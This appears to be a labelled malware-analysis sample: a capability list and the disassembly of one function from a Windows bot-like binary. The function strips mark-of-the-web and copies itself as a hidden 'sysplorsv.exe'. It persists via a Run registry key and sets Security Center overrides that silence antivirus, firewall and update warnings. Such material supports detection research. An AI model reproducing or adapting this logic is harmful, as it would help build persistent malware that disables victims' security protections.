Function at 0x405e50
Capabilities:
Bypass mark of the web
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create thread
Delete file
Initialize winsock library
Move file
Persist via run registry key
Query environment variable
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc14
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x83c], 0x235a
mov eax, dword [ebp - 0x214]
cmp eax, dword [ebp - 0x83c]
jae 0x405ed8
push str.235235235235
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x405ec7
push 0
push str.4624624626
push str.7247247247_
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push str.245245245245
push str.483828383
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.62427247
push str.246246246
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x214]
add ecx, 1
mov dword [ebp - 0x214], ecx
jmp 0x405e78
push str.3444rrre
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0xa4c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x405f02
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x20c], 1
push 0x105
push 0x416cd0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x416cd0
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0x210], eax
push 0x416cd0
push str._s:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x104
lea ecx, [ebp - 0xa48]
push ecx
push str._userprofile_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov dword [ebp - 0xbe4], str.sysplorsv.exe
mov edx, dword [ebp - 0x210]
mov dword [ebp - 0xbe8], edx
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax]
mov word [ebp - 0xbea], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx]
jne 0x405ff3
cmp word [ebp - 0xbea], 0
je 0x405fe7
mov eax, dword [ebp - 0xbe8]
mov cx, word [eax + 2]
mov word [ebp - 0xbec], cx
mov edx, dword [ebp - 0xbe4]
cmp cx, word [edx + 2]
jne 0x405ff3
add dword [ebp - 0xbe8], 4
add dword [ebp - 0xbe4], 4
cmp word [ebp - 0xbec], 0
jne 0x405f8d
mov dword [ebp - 0xbf0], 0
jmp 0x405ffe
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0xbf0], eax
mov ecx, dword [ebp - 0xbf0]
mov dword [ebp - 0xbf4], ecx
cmp dword [ebp - 0xbf4], 0
je 0x40627a
call fcn.0040d130
movzx edx, al
cmp edx, 1
jne 0x40602c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
lea eax, [ebp - 0x838]
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.sysplorsv.exe
lea ecx, [ebp - 0x838]
push ecx
push 0x411240
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea eax, [ebp - 0x630]
push eax
push 0x416cd0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x406159
push 3
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push 0x411258
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40613a
lea eax, [ebp - 0x630]
mov dword [ebp - 0xbf8], eax
mov ecx, dword [ebp - 0xbf8]
add ecx, 2
mov dword [ebp - 0xbfc], ecx
mov edx, dword [ebp - 0xbf8]
mov ax, word [edx]
mov word [ebp - 0xbfe], ax
add dword [ebp - 0xbf8], 2
cmp word [ebp - 0xbfe], 0
jne 0x4060d0
mov ecx, dword [ebp - 0xbf8]
sub ecx, dword [ebp - 0xbfc]
sar ecx, 1
mov dword [ebp - 0xc04], ecx
mov edx, dword [ebp - 0xc04]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x630]
push ecx
push 1
push 0
push str.Windows_Settings
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x630]
push ecx
call fcn.0040d3d0
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x406159
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.sysplorsv.exe
lea eax, [ebp - 0xa48]
push eax
push 0x41124c
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea edx, [ebp - 0x420]
push edx
push 0x416cd0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40627a
push 3
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea ecx, [ebp - 0x424]
push ecx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40625b
lea edx, [ebp - 0x420]
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xc08]
add eax, 2
mov dword [ebp - 0xc0c], eax
mov ecx, dword [ebp - 0xc08]
mov dx, word [ecx]
mov word [ebp - 0xc0e], dx
add dword [ebp - 0xc08], 2
cmp word [ebp - 0xc0e], 0
jne 0x4061f1
mov eax, dword [ebp - 0xc08]
sub eax, dword [ebp - 0xc0c]
sar eax, 1
mov dword [ebp - 0xc14], eax
mov ecx, dword [ebp - 0xc14]
lea edx, [ecx + ecx + 2]
push edx
lea eax, [ebp - 0x420]
push eax
push 1
push 0
push str.Windows_Settings
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x420]
push eax
call fcn.0040d3d0
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x40627a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x424]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_Center
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406391
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x41133c
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411350
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x411368
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x41137c
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push 0x411390
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push 0x4113a8
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push 0x4113b8
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x424]
push eax
push 0x20006
push 0
push str.SOFTWAREMicrosoftSecurity_CenterSvc
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40649d
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.FirewallOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.FirewallDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.AntiSpywareOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.AntiVirusOverride
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
push str.AntiVirusDisableNotify
mov ecx, dword [ebp - 0x424]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
push str.UpdatesOverride
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
push str.UpdatesDisableNotify
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x424]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040b200
movzx ecx, al
test ecx, ecx
je 0x406608
lea edx, [ebp - 0xbe0]
push edx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
lea eax, [ebp - 0xa48]
push eax
push str._s_tbnds.dat
push 0x416ee0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0xa48]
push ecx
push str._s_tbcmds.dat
push 0x4168c0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0x404410
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4054c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x405d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00404610
call fcn.0040d060
call fcn.00405bc0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x417104], eax
call fcn.0040a930
mov dword [0x41710c], eax
call fcn.0040bb30
mov dword [0x417108], eax
call fcn.00409d80
push 0
push 0
push 0
push 0x40bff0
push 0
mov edx, dword [0x417108]
push edx
call fcn.0040bbe0
add esp, 0x18
push 0
push 0
push 0
push 0x40bf50
push 0
mov eax, dword [0x417108]
push eax
call fcn.0040bbe0
add esp, 0x18
push 0
push 0
push 0
push 0x40bae0
push 0
mov ecx, dword [0x417108]
push ecx
call fcn.0040bbe0
add esp, 0x18
push 0
push 0
push 0
push 0x40b8e0
push 0
mov edx, dword [0x417108]
push edx
call fcn.0040bbe0
add esp, 0x18
jmp 0x40660c
xor eax, eax
mov esp, ebp
pop ebp
ret